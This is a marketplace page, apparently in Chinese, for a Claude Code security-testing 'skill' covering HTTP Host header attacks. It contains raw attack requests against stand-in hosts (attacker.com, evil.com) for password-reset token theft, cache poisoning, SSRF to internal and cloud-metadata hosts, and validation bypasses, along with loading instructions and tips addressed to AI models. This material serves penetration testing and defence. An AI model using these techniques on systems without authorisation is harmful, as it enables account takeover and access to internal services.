mcpField
H
http-host-header-attacks

http-host-header-attacks

github.com/yaklang安全2.6k3.7k 次安装6 周前更新
代码仓库

关于 http-host-header-attacks

面向安全测试的技能,讲解 HTTP Host 请求头注入与路由滥用的评估方法,涵盖攻击面、绕过技巧和框架行为。

主要功能

  1. 01密码重置链接投毒检查
  2. 02基于 Host 的缓存投毒分析
  3. 03SSRF 与虚拟主机路由测试
  4. 04验证绕过技巧
  5. 05框架特定行为
  6. 06Keep-alive 连接状态测试

适用场景

  1. 01评估密码重置链接生成
  2. 02测试缓存是否受 Host 投毒
  3. 03发现隐藏虚拟主机
  4. 04检查代理和框架的 Host 验证

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/yaklang/hack-skills --skill http-host-header-attacks

安装后在 Claude Code 中输入/http-host-header-attacks确认已加载。

详细介绍

技能:HTTP Host 头攻击 — 注入与路由滥用

AI 加载指令:涵盖用于密码重置投毒、缓存投毒、通过路由实现 SSRF 以及虚拟主机绕过的 Host 头注入。包含绕过 Host 验证的技术和特定框架的行为。基础模型通常会忽略双 Host 技巧、绝对 URI 覆盖以及连接状态攻击。

0. 相关路由


1. 攻击面

Web 应用和基础设施会使用 Host 头来实现以下功能:

用途利用方式
URL 生成(密码重置链接、电子邮件链接)注入攻击者域名 → 用户点击链接后进入攻击者网站
虚拟主机路由伪造 Host → 访问内部/管理虚拟主机
缓存键组成部分注入不同的 Host → 为所有用户投毒缓存
反向代理路由Host 决定后端 → 对内部服务发起 SSRF
访问控制决策基于 Host 的 ACL 可能被绕过
规范 URL/SEO 重定向Host 注入 → 开放重定向

2. 密码重置投毒

最常见、影响最大的 Host 头攻击。

工作原理
1. Attacker requests password reset for [email protected]
2. Attacker modifies Host header in the reset request:
   POST /forgot-password HTTP/1.1
   Host: attacker.com    ← injected
   
   [email protected]

3. Server generates reset link using Host header value:
   "Click here to reset: https://attacker.com/reset?token=SECRET_TOKEN"

4. Victim receives email, clicks link → token sent to attacker
5. Attacker uses token on real target.com to reset password
测试
POST /forgot-password HTTP/1.1
Host: attacker-collaborator.burpcollaborator.net
Content-Type: application/x-www-form-urlencoded

[email protected]

检查 Burp Collaborator 是否收到包含重置令牌的 HTTP 请求。

变体
  • 某些应用会拼接:Host: target.com.attacker.com → 链接变为 https://target.com.attacker.com/reset?token=xxx
  • 某些应用只使用端口部分:Host: target.com:@attacker.com → 在某些 URL 解析器中会被解析为 attacker.com

3. 通过 Host 实现 Web 缓存投毒

1. Attacker sends:
   GET / HTTP/1.1
   Host: attacker.com

2. If cache keys on URL path but NOT on Host header:
   → Response cached with attacker.com in generated links/content

3. Subsequent users requesting GET / receive the poisoned response
   → Links point to attacker.com, scripts load from attacker.com

关键条件:缓存键不能包含 Host 头,但应用必须在响应正文中使用 Host。

发送两个 Host 值不同的请求,并检查第二个请求是否在响应中返回了第一个请求的 Host,以此进行测试。


4. 通过 Host 路由实现 SSRF

当反向代理使用 Host 头将请求路由到后端时:

GET /api/internal HTTP/1.1
Host: internal-admin-panel.local

→ Reverse proxy routes request to internal-admin-panel.local
→ Attacker accesses internal service

常见于:

  • 基于 $host 的 Nginx proxy_pass
  • 使用虚拟主机路由的 Apache ProxyPass
  • Kubernetes Ingress 控制器
  • 云负载均衡器

5. 虚拟主机绕过

许多服务器会通过虚拟主机在同一 IP 上托管多个应用:

Target:  Host: www.target.com  → public site
Hidden:  Host: admin.target.com → admin panel (not in public DNS)
Hidden:  Host: staging.target.com → staging environment
Hidden:  Host: localhost → server status page
发现
1. Brute-force Host header with common vhost names:
   ffuf -u http://TARGET_IP -H "Host: FUZZ.target.com" -w vhosts.txt

2. Try special values:
   Host: localhost
   Host: 127.0.0.1
   Host: admin
   Host: internal
   Host: intranet

3. Compare response size/content to identify different vhosts

6. Host 经过验证时的绕过技术

6.1 覆盖头

许多框架/代理会信任以下头,而不是 Host 头:

头信任该头的框架
X-Forwarded-HostSymfony、Laravel、Django(当 USE_X_FORWARDED_HOST=True 时)、Rails(位于代理之后时)
X-Host某些自定义代理配置
X-Original-URL使用 URL Rewrite 模块的 IIS
X-Rewrite-URL使用 URL Rewrite 模块的 IIS
Forwarded: host=attacker.com符合 RFC 7239 的代理
X-Forwarded-ServerApache mod_proxy

同时测试所有头:

GET /forgot-password HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Original-URL: /forgot-password
Forwarded: host=attacker.com
6.2 请求行中的绝对 URL
GET http://attacker.com/path HTTP/1.1
Host: target.com

根据 HTTP/1.1 规范(RFC 7230):如果请求行中包含绝对 URI,则应忽略 Host 头。部分服务器遵循此规则,部分则不遵循——代理与后端之间的行为不一致会造成漏洞。

6.3 双 Host 头
GET /path HTTP/1.1
Host: target.com
Host: attacker.com

行为各不相同:

  • 某些代理验证第一个 Host,而应用使用第二个
  • 某些服务器会将其拼接为:target.com, attacker.com
  • RFC 规定:如果两者不同,应返回 400。大多数服务器不会这样做。
6.4 带端口 / 凭据的主机
Host: target.com:@attacker.com
Host: target.com:evil.com
Host: target.com#@attacker.com
Host: attacker.com%[email protected]

存在凭据(@)或片段(#)时,URL 解析器提取“主机”部分的方式可能各不相同。

6.5 尾随点
Host: target.com.

DNS 会将 target.com. 和 target.com 视为相同(尾随点 = FQDN)。但 Host 验证可能不会去掉尾随点 → 字符串比较中 target.com. ≠ target.com → 绕过白名单。

6.6 制表符 / 空格注入
Host: target.com\tattacker.com
Host: target.com attacker.com

某些解析器会按空白字符拆分;服务端可能使用 attacker.com 部分,而验证检查的是 target.com 部分。

6.7 包裹 / 括起的值
Host: "attacker.com"
Host: <attacker.com>

应用可能会去掉引号或方括号括起的值,但验证器不会。


7. 框架特定行为

框架Host 来源注意事项
PHP$_SERVER['HTTP_HOST'](原始标头,可直接注入)只有启用 UseCanonicalName On 时,SERVER_NAME 才更安全
DjangoHttpRequest.get_host() 会优先检查 X-Forwarded-Host(如果已启用)USE_X_FORWARDED_HOST=True 会绕过 ALLOWED_HOSTS
Railsrequest.host 来自 Host 标头;在代理后会信任 X-Forwarded-HostRails 6+ 的 HostAuthorization 中间件可缓解此问题
Node/Expressreq.hostname / req.headers.host;启用 trust proxy 时使用 X-Forwarded-Host没有内置的 Host 验证

8. 连接状态攻击

一种利用 HTTP keep-alive 的复杂变体:

Connection 1:
  Request 1: GET / HTTP/1.1    ← Valid Host: target.com
              Host: target.com     → Proxy validates, forwards, keeps connection open

  Request 2: GET /admin HTTP/1.1  ← Evil Host on SAME connection
              Host: evil.com       → Some proxies skip validation on subsequent requests
                                     (they validated the connection on first request)

此攻击可用于仅在 keep-alive 连接的第一个请求上执行 Host 验证的代理。

测试
1. Use Burp Repeater with "Connection: keep-alive"
2. Send normal request first
3. On same connection, send request with manipulated Host
4. Check if second request is processed differently

9. Host 标头攻击决策树

Application uses Host header in responses/behavior?
│
├── Test direct Host injection
│   ├── Change Host to attacker domain → reflected in response?
│   │   ├── YES → Check impact:
│   │   │   ├── In password reset emails? → PASSWORD RESET POISONING
│   │   │   ├── In cached responses? → WEB CACHE POISONING
│   │   │   ├── In redirects? → OPEN REDIRECT
│   │   │   └── In script/link URLs? → XSS VIA HOST
│   │   └── NO (400/403/different response) → Host is validated
│   │
│   └── Host validated? Try bypasses:
│       ├── X-Forwarded-Host header
│       ├── X-Host / X-Original-URL / Forwarded header
│       ├── Absolute URL in request line
│       ├── Double Host header
│       ├── Host: target.com:@attacker.com (URL parser confusion)
│       ├── Host: target.com. (trailing dot)
│       ├── Tab/space injection in Host value
│       └── Connection-state attack (valid first request, evil second)
│
├── Test virtual host enumeration
│   ├── Brute-force Host values against target IP
│   ├── Try: localhost, admin, staging, internal, intranet
│   └── Compare response sizes for different Host values
│
├── Test SSRF via Host routing
│   ├── Host: 127.0.0.1 → internal service?
│   ├── Host: internal-hostname.local → internal routing?
│   └── Host: 169.254.169.254 → cloud metadata?
│
└── No Host-based behavior found
    └── Check if app uses Host in server-side operations
        (email generation, webhook URLs, API callbacks)

10. 技巧提示——AI 模型容易忽略的要点

  1. 密码重置投毒不要求受害者已登录——你发起重置请求,受害者只需点击链接。令牌就会发送到你的服务器。
  2. X-Forwarded-Host 是最容易漏掉的绕过方式:大多数 Host 验证只检查 Host 标头,但位于代理后时,框架会静默地优先使用 X-Forwarded-Host。
  3. 重复的 Host 标头符合协议规范,但行为未定义:RFC 规定应以 400 拒绝,但实际上几乎没有服务器会这么做。代理与应用之间的不一致就是漏洞所在。
  4. 根据 RFC,绝对 URI 会覆盖 Host:GET http://evil.com/path HTTP/1.1\nHost: target.com——规范规定应使用请求行中的 URI。但并非所有实现都一致。
  5. 通过 Host 进行缓存投毒,要求缓存键不包含 Host:大多数 CDN 会将 Host 纳入缓存键。但自定义的 Varnish/Nginx 缓存可能不会。此外,还要测试将 X-Forwarded-Host 用作缓存键区分项。
  6. 很少有人测试连接状态攻击:自动扫描器不会测试 keep-alive 行为。必须通过 Burp Repeater 的连接复用进行手动测试。
  7. DNS 重绑定 + Host 攻击:如果你控制 DNS,可将你的域名指向目标 IP → 你的域名解析到对方服务器 → Host 标头显示你的域名,但请求会到达对方服务器。这有助于绕过基于 IP 的访问控制。

评论

支持 Markdown